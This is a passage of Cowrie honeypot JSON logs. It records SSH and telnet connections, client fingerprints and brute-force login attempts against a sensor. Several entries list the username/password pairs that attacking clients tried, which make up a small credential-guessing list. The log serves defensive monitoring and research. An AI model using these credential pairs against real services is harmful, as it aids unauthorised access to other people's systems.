rt-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:19:48.326218Z","src_ip":"2.57.122.208","session":"d4ed4f885087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:19:49.123889Z","src_ip":"2.57.122.208","session":"d4ed4f885087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:19:50.326269Z","src_ip":"2.57.122.208","session":"d4ed4f885087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":55418,"dst_ip":"159.203.135.109","dst_port":22,"session":"788a092a97ea","protocol":"ssh","message":"New connection: 43.173.69.147:55418 (159.203.135.109:22) [session: 788a092a97ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:20:26.189676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:20:26.195815Z","src_ip":"43.173.69.147","session":"788a092a97ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:20:26.266226Z","src_ip":"43.173.69.147","session":"788a092a97ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployerpass","message":"login attempt [deployer/deployerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:20:26.581328Z","src_ip":"43.173.69.147","session":"788a092a97ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:20:27.664815Z","src_ip":"43.173.69.147","session":"788a092a97ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":42207,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d500527c1b6","protocol":"ssh","message":"New connection: 2.57.121.112:42207 (10.17.0.5:22) [session: 8d500527c1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:22.306480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:22.311768Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:22.418410Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pseudo","message":"login attempt [admin/pseudo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:22.908230Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"prono1","message":"login attempt [admin/prono1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:24.015352Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"profesor","message":"login attempt [admin/profesor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:25.123656Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"probert","message":"login attempt [admin/probert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:26.232070Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"priority","message":"login attempt [admin/priority] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:27.341293Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:28.448430Z","src_ip":"2.57.121.112","session":"8d500527c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.17.146.253","src_port":34728,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec09c691efd","protocol":"telnet","message":"New connection: 38.17.146.253:34728 (10.17.0.5:23) [session: 7ec09c691efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:21:54.928191Z"}
{"eventid":"cowrie.session.closed","duration":13.146256685256958,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:08.074268Z","src_ip":"38.17.146.253","session":"7ec09c691efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":41246,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26613536eda","protocol":"ssh","message":"New connection: 43.173.69.147:41246 (159.203.135.109:22) [session: f26613536eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:08.088691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:08.093501Z","src_ip":"43.173.69.147","session":"f26613536eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:08.161473Z","src_ip":"43.173.69.147","session":"f26613536eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd1","message":"login attempt [ubuntu/passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:08.467587Z","src_ip":"43.173.69.147","session":"f26613536eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:09.538639Z","src_ip":"43.173.69.147","session":"f26613536eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":22838,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc2b214213d","protocol":"ssh","message":"New connection: 194.59.206.2:22838 (159.203.135.109:22) [session: fdc2b214213d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:15.550195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:15.554658Z","src_ip":"194.59.206.2","session":"fdc2b214213d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:15.638415Z","src_ip":"194.59.206.2","session":"fdc2b214213d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:15.725506Z","src_ip":"194.59.206.2","session":"fdc2b214213d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.242.245.100","src_port":51598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c556e15bde7c","protocol":"telnet","message":"New connection: 122.242.245.100:51598 (10.17.0.5:23) [session: c556e15bde7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:15.988228Z"}
{"eventid":"cowrie.session.connect","src_ip":"110.20.228.178","src_port":58354,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0d822023073","protocol":"telnet","message":"New connection: 110.20.228.178:58354 (10.17.0.5:23) [session: e0d822023073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:22.186019Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58012,"dst_ip":"159.203.135.109","dst_port":22,"session":"d314e0d9c72c","protocol":"ssh","message":"New connection: 2.57.122.208:58012 (159.203.135.109:22) [session: d314e0d9c72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:25.022651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:25.029397Z","src_ip":"2.57.122.208","session":"d314e0d9c72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:25.228595Z","src_ip":"2.57.122.208","session":"d314e0d9c72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:26.026254Z","src_ip":"2.57.122.208","session":"d314e0d9c72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:27.225614Z","src_ip":"2.57.122.208","session":"d314e0d9c72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.447937250137329,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:29.436001Z","src_ip":"122.242.245.100","session":"c556e15bde7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.01946210861206,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:22:35.205342Z","src_ip":"110.20.228.178","session":"e0d822023073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40112,"dst_ip":"159.203.135.109","dst_port":23,"session":"181f9acd6def","protocol":"telnet","message":"New connection: 135.148.33.91:40112 (159.203.135.109:23) [session: 181f9acd6def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:23:50.945580Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.72.149.214","src_port":48972,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5b5fe66a9c","protocol":"telnet","message":"New connection: 91.72.149.214:48972 (159.203.135.109:23) [session: aa5b5fe66a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:23:52.052578Z"}
{"eventid":"cowrie.session.closed","duration":13.170755863189697,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:05.223212Z","src_ip":"91.72.149.214","session":"aa5b5fe66a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.72516369819641,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:27.670597Z","src_ip":"135.148.33.91","session":"181f9acd6def","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fdd7a2d36b5","protocol":"ssh","message":"New connection: 2.57.121.25:50874 (10.17.0.5:22) [session: 7fdd7a2d36b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:41.550443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:41.555295Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:41.656018Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20121980","message":"login attempt [user/20121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:42.134398Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20121977","message":"login attempt [user/20121977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:43.239368Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20111981","message":"login attempt [user/20111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:44.344429Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20071980","message":"login attempt [user/20071980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:45.485462Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20061979","message":"login attempt [user/20061979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:46.592021Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:24:47.697696Z","src_ip":"2.57.121.25","session":"7fdd7a2d36b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43308,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ca3b5602a9","protocol":"ssh","message":"New connection: 2.57.122.208:43308 (159.203.135.109:22) [session: 58ca3b5602a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:05.747130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:05.814982Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v0